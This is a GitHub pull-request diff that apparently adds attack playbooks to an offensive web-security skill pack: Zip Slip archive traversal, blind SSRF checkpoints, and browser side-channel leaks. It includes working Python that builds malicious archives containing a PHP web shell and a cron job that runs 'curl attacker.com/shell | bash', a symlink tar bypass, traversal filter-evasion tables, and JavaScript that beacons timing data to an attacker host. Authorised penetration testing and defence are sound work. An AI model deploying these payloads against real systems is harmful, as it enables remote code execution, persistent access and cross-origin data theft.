Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions capabilities/web-security/capability.yaml
Original file line number Diff line number Diff line change
@@ -1,8 +1,8 @@
schema: 1
name: web-security
version: "1.0.3"
version: "1.1.0"
description: >
Web application penetration testing with 30+ attack technique playbooks
Web application penetration testing with 60+ attack technique playbooks
covering request smuggling, cache poisoning, SSRF, SSTI, DOM
vulnerabilities, authentication bypasses, parser differentials,
AEM/Sling exploitation, and client-side attacks. Includes HTTP client
Expand Down
316 changes: 42 additions & 274 deletions capabilities/web-security/skills/agent-browser/SKILL.md

Large diffs are not rendered by default.

113 changes: 113 additions & 0 deletions capabilities/web-security/skills/archive-path-traversal/SKILL.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,113 @@
---
name: archive-path-traversal
description: "Zip Slip and archive extraction path traversal vulnerabilities. Use when target has file upload with archive extraction, plugin installers, backup restoration, or any feature that unpacks ZIP/TAR/JAR/WAR/APK archives."
---

# Archive Path Traversal (Zip Slip)

When an application extracts archive entries using the entry name directly as the output path without canonicalization, an attacker-controlled entry name like `../../../etc/cron.d/pwn` writes outside the intended directory.

## Vulnerable Code Patterns

See [references/vulnerable-code.md](references/vulnerable-code.md) for patterns in Java, Python, Node.js, Go, Ruby, and .NET.

The bug is always the same: `entry.getName()` flows into a file path constructor without validation that the resolved path stays inside the target directory.

## Crafting Malicious Archives

```python
import zipfile

with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr('../../var/www/html/shell.php', '<?php system($_GET["c"]); ?>')
z.writestr('../../etc/cron.d/pwn', '* * * * * root curl attacker.com/shell | bash\n')
z.writestr('readme.txt', 'Totally normal archive')
```

```bash
# Using evilarc
python evilarc.py shell.php -p "var/www/html" -d 3 -o unix

# TAR archives
tar cf evil.tar --transform='s,^,../../etc/cron.d/,' pwn
```

## Exploitation Targets

| Target File | Impact | OS |
|-------------|--------|-----|
| `../../var/www/html/shell.php` | Web shell (RCE) | Linux |
| `../../etc/cron.d/pwn` | Cron job (RCE) | Linux |
| `../../root/.ssh/authorized_keys` | SSH access | Linux |
| `../../WEB-INF/classes/Evil.class` | Java class injection | Java |
| `../../inetpub/wwwroot/cmd.aspx` | Web shell (IIS) | Windows |
| `.env` or `../../.env` | Environment variable override | Any |

Chain with **write-path-to-rce** for framework view/template resolution that turns file write into RCE.

## Bypassing Path Traversal Filters

| Technique | Entry Name | Bypasses |
|-----------|-----------|----------|
| Backslash (Windows) | `..\..\wwwroot\shell.aspx` | Unix-only `../` check |
| Encoded slash | `..%2f..%2fetc/passwd` | String-based filter on raw name |
| Double-encoded | `..%252f..%252f` | Single decode + filter + second decode |
| Absolute path | `/etc/cron.d/pwn` | Relative path check only |
| Mixed separators | `..\/..\/etc/passwd` | Strict `../` match |

**Test order:** basic `../` first, then backslash, then encoded variants, then absolute paths.

## Symlink Attacks

Even if `../` in filenames is filtered, symlinks bypass path validation because the entry name itself is clean.

### Two-Step Symlink Write

```python
import tarfile, io

with tarfile.open('evil.tar', 'w') as t:
# Step 1: symlink "uploads" -> /var/www/html (clean name)
sym = tarfile.TarInfo(name='uploads')
sym.type = tarfile.SYMTYPE
sym.linkname = '/var/www/html'
t.addfile(sym)

# Step 2: write through symlink (still no ../ in name)
shell = tarfile.TarInfo(name='uploads/shell.php')
shell.size = len(payload)
t.addfile(shell, io.BytesIO(payload.encode()))
```

Extraction order matters: symlink created first, then file write follows the symlink. Path validation sees `uploads/shell.php` as inside dest_dir.

## Detection in Source Code

```bash
# Java
grep -rn "ZipEntry\|ZipInputStream\|JarEntry" --include="*.java"
# Python
grep -rn "zipfile\|tarfile\|extractall" --include="*.py"
# Node.js
grep -rn "adm-zip\|yauzl\|unzipper\|decompress" --include="*.js" --include="*.ts"
# Go
grep -rn "archive/zip\|archive/tar" --include="*.go"
# .NET
grep -rn "ZipArchive\|ZipFile" --include="*.cs"
# Then verify: is there path validation after entry name extraction?
```

## Testing Checklist

1. Identify all archive upload/extraction features
2. Determine archive format accepted (ZIP, TAR, JAR, etc.)
3. Craft malicious archive with `../` entry names
4. Upload and check: does extraction create files outside dest dir?
5. If blocked: try alternate traversal (backslash, encoded, symlink)
6. If file write confirmed: identify highest-impact target file
7. Chain with **write-path-to-rce** for code execution

## Related Skills

- **write-path-to-rce** -- Escalate file write to RCE via framework resolution
- **custom-sanitizer-audit** -- If path sanitization exists but is bypassable
Original file line number Diff line number Diff line change
@@ -0,0 +1,115 @@
# Vulnerable Code Patterns by Language

## Java (Most Common)

```java
// VULNERABLE
ZipInputStream zis = new ZipInputStream(uploadedFile);
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
File outputFile = new File(destDir, entry.getName());
outputFile.getParentFile().mkdirs();
Files.copy(zis, outputFile.toPath());
// entry.getName() = "../../etc/cron.d/pwn" -> writes to /etc/cron.d/pwn
}

// SECURE
File outputFile = new File(destDir, entry.getName()).getCanonicalFile();
if (!outputFile.toPath().startsWith(destDir.getCanonicalFile().toPath())) {
throw new SecurityException("Zip Slip: " + entry.getName());
}
```

## Python

```python
# VULNERABLE manual extraction (any Python version)
with zipfile.ZipFile(uploaded, 'r') as z:
for info in z.infolist():
path = os.path.join(dest_dir, info.filename)
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'wb') as f:
f.write(z.read(info.filename))

# NOTE: extractall() is SAFE since Python 3.12+ (CVE-2007-4559 fix)

# SECURE
resolved = os.path.realpath(os.path.join(dest_dir, info.filename))
if not resolved.startswith(os.path.realpath(dest_dir) + os.sep):
raise Exception("Zip Slip detected")
```

## Node.js

```javascript
// VULNERABLE (using adm-zip, yauzl, unzipper, etc.)
const entries = zip.getEntries();
entries.forEach(entry => {
const filePath = path.join(destDir, entry.entryName);
fs.writeFileSync(filePath, entry.getData());
});

// SECURE
const resolved = path.resolve(path.join(destDir, entry.entryName));
if (!resolved.startsWith(path.resolve(destDir) + path.sep)) {
throw new Error("Zip Slip: " + entry.entryName);
}
```

## Go

```go
// VULNERABLE
for _, f := range r.File {
fpath := filepath.Join(destDir, f.Name)
os.MkdirAll(filepath.Dir(fpath), os.ModePerm)
outFile, _ := os.OpenFile(fpath, os.O_WRONLY|os.O_CREATE, f.Mode())
rc, _ := f.Open()
io.Copy(outFile, rc)
}

// SECURE
fpath := filepath.Join(destDir, f.Name)
if !strings.HasPrefix(filepath.Clean(fpath), filepath.Clean(destDir)+string(os.PathSeparator)) {
return fmt.Errorf("zip slip: %s", f.Name)
}
```

## Ruby

```ruby
# VULNERABLE (using rubyzip)
Zip::File.open(uploaded) do |zip|
zip.each do |entry|
path = File.join(dest_dir, entry.name)
FileUtils.mkdir_p(File.dirname(path))
entry.extract(path)
end
end

# SECURE (rubyzip >= 1.3.0 has built-in protection)
# Verify: Zip.validate_entry_sizes = true (default since 1.3.0)
```

## .NET/C#

```csharp
// VULNERABLE
using (ZipArchive archive = ZipFile.OpenRead(uploaded))
{
foreach (ZipArchiveEntry entry in archive.Entries)
{
string path = Path.Combine(destDir, entry.FullName);
entry.ExtractToFile(path, true);
}
}

// SECURE
string destPath = Path.GetFullPath(Path.Combine(destDir, entry.FullName));
if (!destPath.StartsWith(Path.GetFullPath(destDir) + Path.DirectorySeparatorChar))
{
throw new IOException("Zip Slip: " + entry.FullName);
}

// NOTE: ZipFile.ExtractToDirectory() is SAFE (built-in check since .NET Core)
```
4 changes: 3 additions & 1 deletion capabilities/web-security/skills/blind-ssrf-chains/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,9 @@ Don't try to read responses from the SSRF — find internal services that make *

**OOB callback setup**: Use the `CallbackClient` tool to register a callback URL before testing. Request HTTPS protocol — many internal services only make HTTPS outbound requests. After triggering the SSRF chain, check for received callbacks to confirm the internal service made an outbound request.

Canary-capable services: Confluence, Jira, Jenkins, Solr, Weblogic, Hystrix Dashboard. These all have endpoints that fetch attacker-controlled URLs as part of normal functionality.
**Checkpoint:** Before attempting payloads, confirm blind SSRF with a canary: `?url=http://YOUR-OOB-SERVER/ssrf-test`. If no callback received, the SSRF may not be server-side.

## Fingerprinting (Blind)

## Fingerprinting Without Response Bodies

Expand Down
87 changes: 53 additions & 34 deletions capabilities/web-security/skills/browser-side-channel/SKILL.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,69 +13,88 @@ description: Browser-based side channel attacks for cross-origin data leaks via
## Techniques

### XSS-Leak via Connection Pool Exhaustion (Chrome)
Exploit Chrome's per-process socket pool limit to leak cross-origin redirects:

1. **Saturate** Chrome's 256-connection pool (open 255 persistent connections)
2. **Trigger** a cross-origin navigation that may redirect based on state
3. **Measure** which host resolves next — Chrome resolves DNS in lexicographic order when pool is full
3. **Measure** which host resolves next -- DNS timing differs under pool exhaustion
4. **Binary search** the leaked hostname character by character

Prerequisites: Victim visits attacker page, target redirects to different hosts based on auth state.

Test setup:
```javascript
// Saturate pool with 255 WebSocket connections to different hosts
for (let i = 0; i < 255; i++) {
new WebSocket(`wss://pad-${i}.attacker.com/hold`);
}
// Trigger cross-origin fetch — redirect destination leaks via timing
fetch('https://target.com/auth-redirect', {mode: 'no-cors'});
// Measure: if redirect went to admin.target.com vs login.target.com
// the DNS resolution timing differs due to pool exhaustion ordering
// Trigger cross-origin fetch -- redirect destination leaks via timing
const start = performance.now();
fetch('https://target.com/auth-redirect', {mode: 'no-cors'}).then(() => {
const elapsed = performance.now() - start;
// admin.target.com vs login.target.com have different DNS timing under pool exhaustion
navigator.sendBeacon('https://attacker.com/log', `elapsed=${elapsed}`);
});
```

**Checkpoint:** If timing variance between states is <5ms, increase sample count to 50+ and average. If WebSocket connections drop, server may be closing idle sockets -- send keepalive pings via `setInterval`.

### Cross-Site ETag Length Oracle (Express.js)
Exploit Express's default 16KB header limit to create a boolean oracle:

1. **Observe**: Express auto-generates ETag headers for responses
2. **Trigger**: Browser caches ETag, sends it back as `If-None-Match`
3. **Overflow**: Pad the request to approach 16KB header limit
4. **Differentiate**: If ETag is long (large response) → 431 error. If short → 304 Not Modified.
5. **Leak**: Response size reveals content (e.g., admin panel vs 403)
4. **Differentiate**: Long ETag (large response) -> 431 error. Short -> 304 Not Modified.

```http
GET /api/user/profile HTTP/1.1
If-None-Match: "cached-etag-value"
X-Pad: AAAA...AAAA (pad to ~16KB minus ETag length threshold)
```
- 431 = ETag + padding exceeded 16KB → response was large (user exists, has data)
- 304 = ETag matched, response was small → different state
- 431 = ETag + padding exceeded 16KB -> response was large (user exists, has data)
- 304 = ETag matched, response was small -> different state

**Checkpoint:** Send without padding first to confirm normal 200/304 behavior. Then binary search padding length: if 431 at N bytes but not N-100, ETag is between (16384-N) and (16384-N+100) bytes.

### Timing-Based State Detection
Measure response time differences for cross-origin requests:
```javascript
const start = performance.now();
const img = new Image();
img.onload = img.onerror = () => {
const elapsed = performance.now() - start;
// Authenticated responses often larger/slower than 302 redirects
if (elapsed > THRESHOLD) { /* user is logged in */ }
};
img.src = 'https://target.com/dashboard-asset';

```html
<script>
async function detectLoginState(targetUrl, samples = 30) {
const times = [];
for (let i = 0; i < samples; i++) {
const start = performance.now();
await new Promise(resolve => {
const img = new Image();
img.onload = img.onerror = resolve;
img.src = targetUrl + '?cachebust=' + Math.random();
});
times.push(performance.now() - start);
}
const mean = times.reduce((a, b) => a + b) / times.length;
const stddev = Math.sqrt(times.reduce((s, t) => s + (t - mean) ** 2, 0) / times.length);
return { mean: mean.toFixed(1), stddev: stddev.toFixed(1), samples: times.length };
}

// Logged-in: ~200ms+ (full page). Logged-out: ~50ms (302 redirect).
detectLoginState('https://target.com/dashboard-asset').then(r =>
console.log(`Mean: ${r.mean}ms, StdDev: ${r.stddev}ms`)
);
</script>
```

**Checkpoint:** Run against a known-state endpoint first to establish baseline. If stddev >30% of mean, network jitter is too high -- increase sample count or use HTTP/2 multiplexing.

### Cache Probing
Detect if a user has visited a URL by measuring cache hit vs miss timing:
- Cached resource loads in ~1-2ms
- Network fetch takes 50ms+
- Reveals browsing history for same-origin resources
Cached resource loads in ~1-2ms vs network fetch at 50ms+. Reveals browsing history for same-site resources.

**Checkpoint:** Clear cache and re-measure to confirm delta is reproducible. Modern browsers partition cache by top-level site -- this only works for same-site resources.

## Workflow

## Detection Checklist
1. Map target redirects that differ based on auth/role state
2. Identify response size differences between states (admin vs user vs anon)
3. Check if Express.js (ETag auto-generation) or similar framework in use
4. Test `performance.now()` timing resolution in target browser
5. Determine if attack requires user interaction or is fully passive

## Key Insight
These attacks don't require XSS — they exploit browser resource management (sockets, cache, headers) as an oracle. The information leaks through metadata (timing, status codes, resource limits), not content.
4. Select technique based on available signal:
- Size difference -> ETag oracle
- Redirect difference -> connection pool exhaustion
- Timing difference -> timing-based detection
5. Run PoC with >=30 samples, calculate mean/stddev
6. If stddev > mean/3 -> increase samples or try different technique
7. Confirm cross-origin: PoC must work from attacker origin, not same-origin
Loading
Loading